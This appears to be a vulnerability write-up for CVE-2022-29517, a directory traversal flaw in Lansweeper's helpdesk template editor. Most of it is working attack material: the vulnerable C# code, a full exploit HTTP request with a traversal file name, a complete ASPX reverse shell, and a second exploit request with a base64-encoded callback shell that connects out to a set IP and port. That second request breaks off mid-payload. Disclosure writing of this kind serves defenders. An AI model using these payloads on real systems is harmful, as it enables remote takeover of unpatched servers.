Youtube Demo:

🎯 Quick Overview

CVE Number: CVE-2022-29517

Severity Score: 9.9 (Critical) 🚨

Affected Version: Lansweeper 10.1.1.0

🧐 What’s the Buzz About?

Lansweeper, the go-to tool for IT Asset Management, has a sneaky little bug hidden in its HelpdeskActions edit template functionality. Think of it as leaving the backdoor slightly open—just enough for a crafty attacker to sneak in.

📂 What’s Actually Happening?

In plain English, there’s a directory traversal vulnerability—essentially allowing an attacker to move around freely in your system’s directories. By cleverly manipulating the inlineattachmentname parameter, an attacker uploads files wherever they please. No questions asked.

⚙️ Peeking Under the Hood

Here's a snippet of the vulnerable code from LS\WS\HelpdeskActions.cs:

FileStream fileStream = new FileStream(path + text7, FileMode.CreateNew, FileAccess.Write, FileShare.None);

The problem here? inlineattachmentname isn’t properly sanitized, letting attackers hop around directories like they're on a Sunday stroll.

The entire vuln sourcode:

Line 1 	private static void EditTemplate()
Line 2 	{
Line 3 		HttpContext current = HttpContext.Current;
Line 4 		Page page = (Page)HttpContext.Current.Handler;
Line 5 		JsReturnObject jsReturnObject = new JsReturnObject();
Line 6 		int num = int.Parse(current.Request["id"]);
Line 7 		string text = current.Request["templatetext"];
Line 8 		string text2 = current.Request["name"];
Line 9 		int value = int.Parse(current.Request["templatecategory"]);
Line 10		bool flag = false;
Line 11		HttpFileCollection files = current.Request.Files;
Line 12		
Line 13				for (int m = 1; m <= int.Parse(current.Request["inlineattachmentste"]); m++)
Line 14				{
Line 15					int num2 = (current.Request["inlineattachment" + m] ?? "").IndexOf("base64");
Line 16					if (current.Request["inlineattachment" + m] == null || num2 <= 0)
Line 17					{
Line 18						continue;
Line 19					}
Line 20					string path = LSFolder.HelpdeskTemplateFiles.GetPath();
Line 21					
Line 22					byte[] array2 = Convert.FromBase64String(current.Request["inlineattachment" + m].Substring(num2 + 7));
Line 23					string text7 = num + "_" + current.Request["inlineattachmentname" + m];
Line 24					try
Line 25					{
Line 26						FileStream fileStream = new FileStream(path + text7, FileMode.CreateNew, FileAccess.Write, FileShare.None);
Line 27						try
Line 28						{
Line 29							fileStream.Write(array2, 0, array2.Length);
Line 30							flag = true;
Line 31						}
Line 32						finally
Line 33						{
Line 34							((IDisposable)fileStream).Dispose();
Line 35						}
Line 36					}
Line 37					catch
Line 38					{
Line 39					}
Line 40				}			

Creating a ticket template, a user is able to add to it inline files inlineattachment. Each inline file entry has its own name, inlineattachmentname. inlineattachmentname is not sanitized at all in a context of directory traversal, and it is further concatenated in a simple way with a path to helpdesk template files directory line 26. Lack of a proper inlineattachmentname sanitization allows an attacker to upload a file to an arbitrary destination within the file system.

🚧 Proof-of-Concept Exploit

Take a peek at this crafted HTTP request:

POST /helpdesk/HelpdeskActions.aspx?action=edittemplate&id=2 HTTP/1.1
...
Content-Disposition: form-data; name="inlineattachmentname1"

..\..\..\..\..\..\..\HACKED.jpg

This clever line uploads a file (HACKED.jpg) exactly where the attacker desires—straight into your sensitive directories.

Exploit Proof of Concept

REQUEST

POST /helpdesk/HelpdeskActions.aspx?action=edittemplate&id=2 HTTP/1.1
Host: 192.168.0.102:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12029611817265063291319576436
Content-Length: 2156
Origin: http://192.168.0.102:81
Connection: close
Referer: http://192.168.0.102:81/helpdesk/ticket.aspx?nonew=-7&tid=24
Cookie: UserSettings=language=1; ASP.NET_SessionId=ke33dhy3jtng0hcwed2fe5av; custauth=username=hacker&userdomain=; __RequestVerificationToken_Lw__=zP2evPOU4gLNF/pF3R1XPsIP7ceImHsHKoqy7GfYwDnIwHnDJKt3r5+0bFTXNS/XpEAiyEFBVT2ekfSLIPgVMULtvi8Ae4qLSYcUO0UH90vcERUKMi72E3I2yEJexWSyNKlA8gcXlfMPYbc0a94Dji44b2cNn4aS0KGOSUQBn/0=
Upgrade-Insecure-Requests: 1

-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="__VIEWSTATE"


-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="name"

Approval
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="templatetext"

<span><img style="max-width: 950px;" src="/helpdesk/TicketTemplateActions.aspx?action=gettemplateattachment&amp;fileuid=cat123.jpg&amp;templateid=2" alt="cat123.jpg"></span>Thank you, we have received your request.<div><br></div><div>After we got an approval we will execute all required steps in order to provide what you need. We kindly ask for your patience until someone from the helpdesk will contact you.</div><div><br></div><div>In case we would need further information, this ticket will be assigned back to you in state "Awaiting Reply". Please provide necessary details as soon as possible in order to ensure swift processing.</div>
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="templatecategory"

1
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachment1"

data:application/octet-stream;base64,WW91IGhhdmUgYmVlbiAwd24zZCE=
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachmentname1"

..\..\..\..\..\..\..\HACKED.jpg
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachment3"

data:text/plain;base64,dmVyc2lvbj0xOS4wLjAKY2xpZW50PWZpcmViYXNlLWFuYWx5dGljcwpmaXJlYmFzZS1hbmFseXRpY3NfY2xpZW50PTE5LjAuMAo=
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachmentname3"

firebase-analytics.jpg
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="inlineattachmentste"

3
-----------------------------12029611817265063291319576436
Content-Disposition: form-data; name="filestodelete"


-----------------------------12029611817265063291319576436--

RESPONSE

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
x-frame-options: SAMEORIGIN
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 07 Jun 2022 13:32:56 GMT
Connection: close
Content-Length: 173

{"ErrorType":"","Error":false,"Emsg":"","AddedRows":[["Approval","1","True"]],"Columns":[],"Columnwid":[],"Action":"","ReturnValues":{},"ReturnValue":"","ReturnObject":null}

🔑 The Fix?

Simple—sanitize input paths! A quick fix in input validation can lock the door firmly behind attackers.

If you want it fixed the contact our sponsor cyber firm at [email protected]

🔗 More Info & Resources:

Stay safe, stay patched, and don't let directory traversal bugs turn your assets into liabilities! 🛡️😎

🐚 Going for Gold: Reverse Shell

Once inside, attackers can easily establish a reverse shell, essentially turning your server into their own personal playground.

An exploitable directory traversal vulnerability is related with an action: Helpdesk -> choose any ticket -> Template [editor window] -> Edit any template -> add inline file and is located inside the LS\WS\HelpdeskActions.cs file.

The actual reverse shell used for testing:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">

    // Simple reverse shell for ASPX. For educational purposes only!

    const string IP = "<IP>";
    const ushort PORT = <PORT>;

    const uint CREATE_NO_WINDOW = 0x08000000;
    const Int32 Startf_UseStdHandles = 0x00000100;

    [StructLayout(LayoutKind.Sequential)]
    public struct sockaddr_in
    {
        public short sin_family;
        public short sin_port;
        public uint sin_addr;
        public long sin_zero;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES {
      public int    Length;
      public IntPtr lpSecurityDescriptor;
      public bool   bInheritHandle;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public String lpReserved;
        public String lpDesktop;
        public String lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)]
    static extern bool CreateProcess(
       string lpApplicationName,
       string lpCommandLine,
       ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes,
       bool bInheritHandles,
       uint dwCreationFlags,
       IntPtr lpEnvironment,
       string lpCurrentDirectory,
       [In] ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
                                            [In] SocketType socketType,
                                            [In] ProtocolType protocolType,
                                            [In] IntPtr protocolInfo,
                                            [In] uint group,
                                            [In] int flags
                                            );


    [DllImport("ws2_32.dll")]
    public static extern int connect(IntPtr s, ref sockaddr_in addr, int addrsize);

    [DllImport("ws2_32.dll")]
    public static extern ushort htons(ushort hostshort);

    [DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
    public static extern uint inet_addr(string cp);

    [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    public static extern int closesocket(IntPtr s);

    [DllImport("ws2_32.dll", CharSet = CharSet.Auto)]
    static extern Int32 WSAGetLastError();

    protected void Page_Load(object sender, EventArgs e)
    {
        IntPtr socket;
        SpawnShell(IP, PORT, out socket);

        if( socket != IntPtr.Zero ) {
            closesocket(socket);
        }
    }

    protected void SpawnShell(string IP, ushort PORT, out IntPtr socket)
    {
        int error;
        socket = IntPtr.Zero;

        socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0);
        error = WSAGetLastError();

        if( error != 0 ) {
            Response.Write("[-] WSASocket failed with error code: " + error + "\n");
            return;
        }

        sockaddr_in sockinfo = new sockaddr_in();
        sockinfo.sin_family = (short)2;
        sockinfo.sin_addr = inet_addr(IP);
        sockinfo.sin_port = (short)htons(PORT);

        if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) {
            error = WSAGetLastError();
            Response.Write("[-] connect failed with error code: " + error + "\n");
            return;
        }

        string command = Environment.GetEnvironmentVariable("comspec");
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        STARTUPINFO si = new STARTUPINFO();
        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
        sa.Length = Marshal.SizeOf(sa);

        si.dwFlags = Startf_UseStdHandles;
        si.hStdInput = socket;
        si.hStdOutput = socket;
        si.hStdError = socket;

        if( !CreateProcess(command, "", ref sa, ref sa, true, CREATE_NO_WINDOW, IntPtr.Zero, null, ref si, out pi) ) {
            error = Marshal.GetLastWin32Error();
            Response.Write("[-] CreateProcess failed with error: " + error + "\n");
            return;
        }

        Response.Write("[+] Process Created.\n");
    }
</script>

https://gist.github.com/prestonzen/34ab4b4109fcdb9c48f4aaf5693991df

Post-Request

POST /helpdesk/HelpdeskActions.aspx?action=edittemplate&id=5 HTTP/2
Host: 10.11.16.10:82
Cookie: UserSettings=language=1; custauth=username=admin&userdomain=admin; ASP.NET_SessionId=omaw4ynpa1c2cmmbup5dubyo; __RequestVerificationToken_Lw__=aslwZesEjZcVrnBaa6DKiq2raIDuTvaExOldqqbqYLp23805VYlJspMr8Rw2oCTCJRVL2b8uJYOCNSZuYLuc0TJM98dYKPnojKROKjgNAOxUya5GQdAPBcc/LxC/8QOGIt3bnFRMam9M/m9GPLeJ5e6NA5GRwE1N2Z9pHqMjC34=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------402354709241583492252394616219
Content-Length: 22185

-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="__VIEWSTATE"

-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="name"

Pending supplier
-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="templatetext"

<div>Test template</div>
-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="templatecategory"

4
-----------------------------402354709241583492252394616219
Content-Disposition: form-data; name="inlineattachment1"

data:application/octet-stream;base64,PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uTmV0IiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5OZXQuU29ja2V0cyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EYXRhLlNxbENsaWVudCIgJT4NCjxzY3JpcHQgcnVuYXQ9InNlcnZlciI+DQogICAgDQoJcHJvdGVjdGVkIHZvaWQgUGFnZV9Mb2FkKG9iamVjdCBzZW5kZXIsIEV2ZW50QXJncyBlKQ0KICAgIHsNCgkgICAgU3RyaW5nIGhvc3QgPSAiMTAuMTEuMTMuMTM4IjsNCiAgICAgICAgICAgIGludCBwb3J0ID0gNDQzOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICBDYWxsYmFja1NoZWxsKGhvc3QsIHBvcnQpOw0KICAgIH0NCg0KICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0NCiAgICBwdWJsaWMgc3RydWN0IFNUQVJUVVBJTkZPDQogICAgew0KICAgICAgICBwdWJsaWMgaW50IGNiOw0KICAgICAgICBwdWJsaWMgU3RyaW5nIGxwUmVzZXJ2ZWQ7DQogICAgICAgIHB1YmxpYyBTdHJpbmcgbHBEZXNrdG9wOw0KICAgICAgICBwdWJsaWMgU3RyaW5nIGxwVGl0bGU7DQogICAgICAgIHB1YmxpYyB1aW50IGR3WDsNCiAgICAgICAgcHVibGljIHVpbnQgZHdZOw0KICAgICAgICBwdWJsaWMgdWludCBkd1hTaXplOw0KICAgICAgICBwdWJsaWMgdWludCBkd1lTaXplOw0KICAgICAgICBwdWJsaWMgdWludCBkd1hDb3VudENoYXJzOw0KICAgICAgICBwdWJsaWMgdWludCBkd1lDb3VudENoYXJzOw0KICAgICAgICBwdWJsaWMgdWludCBkd0ZpbGxBdHRyaWJ1dGU7DQogICAgICAgIHB1YmxpYyB1aW50IGR3RmxhZ3M7DQogICAgICAgIHB1YmxpYyBzaG9ydCB3U2hvd1dpbmRvdzsNCiAgICAgICAgcHVibGljIHNob3J0IGNiUmVzZXJ2ZWQyOw0KICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOw0KICAgICAgICBwdWJsaWMgSW50UHRyIGhTdGRJbnB1dDsNCiAgICAgICAgcHVibGljIEludFB0ciBoU3RkT3V0cHV0Ow0KICAgICAgICBwdWJsaWMgSW50UHRyIGhTdGRFcnJvcjsNCiAgICB9DQoNCiAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldDQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9ODQogICAgew0KICAgICAgICBwdWJsaWMgSW50UHRyIGhQcm9jZXNzOw0KICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7DQogICAgICAgIHB1YmxpYyB1aW50IGR3UHJvY2Vzc0lkOw0KICAgICAgICBwdWJsaWMgdWludCBkd1RocmVhZElkOw0KICAgIH0NCg0KICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0NCiAgICBwdWJsaWMgc3RydWN0IFNFQ1VSSVRZX0FUVFJJQlVURVMNCiAgICB7DQogICAgICAgIHB1YmxpYyBpbnQgTGVuZ3RoOw0KICAgICAgICBwdWJsaWMgSW50UHRyIGxwU2VjdXJpdHlEZXNjcmlwdG9yOw0KICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZTsNCiAgICB9DQogICAgDQogICAgDQogICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQogICAgc3RhdGljIGV4dGVybiBib29sIENyZWF0ZVByb2Nlc3Moc3RyaW5nIGxwQXBwbGljYXRpb25OYW1lLA0KICAgICAgIHN0cmluZyBscENvbW1hbmRMaW5lLCByZWYgU0VDVVJJVFlfQVRUUklCVVRFUyBscFByb2Nlc3NBdHRyaWJ1dGVzLA0KICAgICAgIHJlZiBTRUNVUklUWV9BVFRSSUJVVEVTIGxwVGhyZWFkQXR0cmlidXRlcywgYm9vbCBiSW5oZXJpdEhhbmRsZXMsDQogICAgICAgdWludCBkd0NyZWF0aW9uRmxhZ3MsIEludFB0ciBscEVudmlyb25tZW50LCBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LA0KICAgICAgIFtJbl0gcmVmIFNUQVJUVVBJTkZPIGxwU3RhcnR1cEluZm8sDQogICAgICAgb3V0IFBST0NFU1NfSU5GT1JNQVRJT04gbHBQcm9jZXNzSW5mb3JtYXRpb24pOw0KDQogICAgcHVibGljIHN0YXRpYyB1aW50IElORklOSVRFID0gMHhGRkZGRkZGRjsNCiAgICANCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIsIFNldExhc3RFcnJvciA9IHRydWUsIEV4YWN0U3BlbGxpbmcgPSB0cnVlKV0NCiAgICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIEludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGhhbmRsZSwgSW50MzIgbWlsbGlzZWNvbmRzKTsNCg0KICAgIGludGVybmFsIHN0cnVjdCBzb2NrYWRkcl9pbg0KICAgIHsNCiAgICAgICAgcHVibGljIHNob3J0IHNpbl9mYW1pbHk7DQogICAgICAgIHB1YmxpYyBzaG9ydCBzaW5fcG9ydDsNCiAgICAgICAgcHVibGljIGludCBzaW5fYWRkcjsNCiAgICAgICAgcHVibGljIGxvbmcgc2luX3plcm87DQogICAgfQ0KDQogICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgR2V0U3RkSGFuZGxlKGludCBuU3RkSGFuZGxlKTsNCg0KICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIpXQ0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRTdGRIYW5kbGUoaW50IG5TdGRIYW5kbGUsIEludFB0ciBoSGFuZGxlKTsNCg0KICAgIHB1YmxpYyBjb25zdCBpbnQgU1REX0lOUFVUX0hBTkRMRSA9IC0xMDsNCiAgICBwdWJsaWMgY29uc3QgaW50IFNURF9PVVRQVVRfSEFORExFID0gLTExOw0KICAgIHB1YmxpYyBjb25zdCBpbnQgU1REX0VSUk9SX0hBTkRMRSA9IC0xMjsNCiAgICANCiAgICBbRGxsSW1wb3J0KCJrZXJuZWwzMiIpXQ0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBBbGxvY0NvbnNvbGUoKTsNCg0KDQogICAgW0RsbEltcG9ydCgiV1MyXzMyLmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkFuc2ksIFNldExhc3RFcnJvciA9IHRydWUpXQ0KICAgIGludGVybmFsIHN0YXRpYyBleHRlcm4gSW50UHRyIFdTQVNvY2tldChbSW5dIEFkZHJlc3NGYW1pbHkgYWRkcmVzc0ZhbWlseSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luXSBTb2NrZXRUeXBlIHNvY2tldFR5cGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtJbl0gUHJvdG9jb2xUeXBlIHByb3RvY29sVHlwZSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luXSBJbnRQdHIgcHJvdG9jb2xJbmZvLCANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luXSB1aW50IGdyb3VwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIGludCBmbGFncw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KDQogICAgW0RsbEltcG9ydCgiV1MyXzMyLmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkFuc2ksIFNldExhc3RFcnJvciA9IHRydWUpXQ0KICAgIGludGVybmFsIHN0YXRpYyBleHRlcm4gaW50IGluZXRfYWRkcihbSW5dIHN0cmluZyBjcCk7DQogICAgW0RsbEltcG9ydCgid3MyXzMyLmRsbCIpXQ0KICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBzdHJpbmcgaW5ldF9udG9hKHVpbnQgaXApOw0KDQogICAgW0RsbEltcG9ydCgid3MyXzMyLmRsbCIpXQ0KICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiB1aW50IGh0b25sKHVpbnQgaXApOw0KICAgIA0KICAgIFtEbGxJbXBvcnQoIndzMl8zMi5kbGwiKV0NCiAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gdWludCBudG9obCh1aW50IGlwKTsNCiAgICANCiAgICBbRGxsSW1wb3J0KCJ3czJfMzIuZGxsIildDQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIHVzaG9ydCBodG9ucyh1c2hvcnQgaXApOw0KICAgIA0KICAgIFtEbGxJbXBvcnQoIndzMl8zMi5kbGwiKV0NCiAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gdXNob3J0IG50b2hzKHVzaG9ydCBpcCk7ICAgDQoNCiAgICANCiAgIFtEbGxJbXBvcnQoIldTMl8zMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQW5zaSwgU2V0TGFzdEVycm9yPXRydWUpXQ0KICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBpbnQgY29ubmVjdChbSW5dIEludFB0ciBzb2NrZXRIYW5kbGUsW0luXSByZWYgc29ja2FkZHJfaW4gc29ja2V0QWRkcmVzcyxbSW5dIGludCBzb2NrZXRBZGRyZXNzU2l6ZSk7DQoNCiAgICBbRGxsSW1wb3J0KCJXUzJfMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSwgU2V0TGFzdEVycm9yID0gdHJ1ZSldDQogICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGludCBzZW5kKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIEludFB0ciBzb2NrZXRIYW5kbGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtJbl0gYnl0ZVtdIHBpbm5lZEJ1ZmZlciwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luXSBpbnQgbGVuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIFNvY2tldEZsYWdzIHNvY2tldEZsYWdzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQoNCiAgICBbRGxsSW1wb3J0KCJXUzJfMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSwgU2V0TGFzdEVycm9yID0gdHJ1ZSldDQogICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGludCByZWN2KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIEludFB0ciBzb2NrZXRIYW5kbGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtJbl0gSW50UHRyIHBpbm5lZEJ1ZmZlciwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luXSBpbnQgbGVuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIFNvY2tldEZsYWdzIHNvY2tldEZsYWdzDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQoNCiAgICBbRGxsSW1wb3J0KCJXUzJfMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSwgU2V0TGFzdEVycm9yID0gdHJ1ZSldDQogICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGludCBjbG9zZXNvY2tldCgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtJbl0gSW50UHRyIHNvY2tldEhhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCg0KICAgIFtEbGxJbXBvcnQoIldTMl8zMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BbnNpLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgIGludGVybmFsIHN0YXRpYyBleHRlcm4gSW50UHRyIGFjY2VwdCgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIEludFB0ciBzb2NrZXRIYW5kbGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luLCBPdXRdIHJlZiBzb2NrYWRkcl9pbiBzb2NrZXRBZGRyZXNzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtJbiwgT3V0XSByZWYgaW50IHNvY2tldEFkZHJlc3NTaXplDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCg0KICAgIFtEbGxJbXBvcnQoIldTMl8zMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BbnNpLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0NCiAgIGludGVybmFsIHN0YXRpYyBleHRlcm4gaW50IGxpc3RlbigNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIEludFB0ciBzb2NrZXRIYW5kbGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0luXSBpbnQgYmFja2xvZw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7DQoNCiAgICBbRGxsSW1wb3J0KCJXUzJfMzIuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSwgU2V0TGFzdEVycm9yID0gdHJ1ZSldDQogICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGludCBiaW5kKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIEludFB0ciBzb2NrZXRIYW5kbGUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtJbl0gcmVmIHNvY2thZGRyX2luICBzb2NrZXRBZGRyZXNzLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbSW5dIGludCBzb2NrZXRBZGRyZXNzU2l6ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KDQoNCiAgIHB1YmxpYyBlbnVtIFRPS0VOX0lORk9STUFUSU9OX0NMQVNTDQogICB7DQogICAgICAgVG9rZW5Vc2VyID0gMSwNCiAgICAgICBUb2tlbkdyb3VwcywNCiAgICAgICBUb2tlblByaXZpbGVnZXMsDQogICAgICAgVG9rZW5Pd25lciwNCiAgICAgICBUb2tlblByaW1hcnlHcm91cCwNCiAgICAgICBUb2tlbkRlZmF1bHREYWNsLA0KICAgICAgIFRva2VuU291cmNlLA0KICAgICAgIFRva2VuVHlwZSwNCiAgICAgICBUb2tlbkltcGVyc29uYXRpb25MZXZlbCwNCiAgICAgICBUb2tlblN0YXRpc3RpY3MsDQogICAgICAgVG9rZW5SZXN0cmljdGVkU2lkcywNCiAgICAgICBUb2tlblNlc3Npb25JZA0KICAgfQ0KDQogICBbRGxsSW1wb3J0KCJhZHZhcGkzMiIsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQ0KICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBHZXRUb2tlbkluZm9ybWF0aW9uKA0KICAgICAgIEludFB0ciBoVG9rZW4sDQogICAgICAgVE9LRU5fSU5GT1JNQVRJT05fQ0xBU1MgdG9rZW5JbmZvQ2xhc3MsDQogICAgICAgSW50UHRyIFRva2VuSW5mb3JtYXRpb24sDQogICAgICAgaW50IHRva2VJbmZvTGVuZ3RoLA0KICAgICAgIHJlZiBpbnQgcmVxTGVuZ3RoKTsNCg0KICAgcHVibGljIGVudW0gVE9LRU5fVFlQRQ0KICAgew0KICAgICAgIFRva2VuUHJpbWFyeSA9IDEsDQogICAgICAgVG9rZW5JbXBlcnNvbmF0aW9uDQogICB9DQoNCiAgIHB1YmxpYyBlbnVtIFNFQ1VSSVRZX0lNUEVSU09OQVRJT05fTEVWRUwNCiAgIHsNCiAgICAgICBTZWN1cml0eUFub255bW91cywNCiAgICAgICBTZWN1cml0eUlkZW50aWZpY2F0aW9uLA0KICAgICAgIFNlY3VyaXR5SW1wZXJzb25hdGlvbiwNCiAgICAgICBTZWN1cml0eURlbGVnYXRpb24NCiAgIH0NCg0KICAgDQogICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBFbnRyeVBvaW50ID0gIkNyZWF0ZVByb2Nlc3NBc1VzZXIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BbnNpLCBDYWxsaW5nQ29udmVudGlvbiA9IENhbGxpbmdDb252ZW50aW9uLlN0ZENhbGwpXQ0KICAgcHVibGljIGV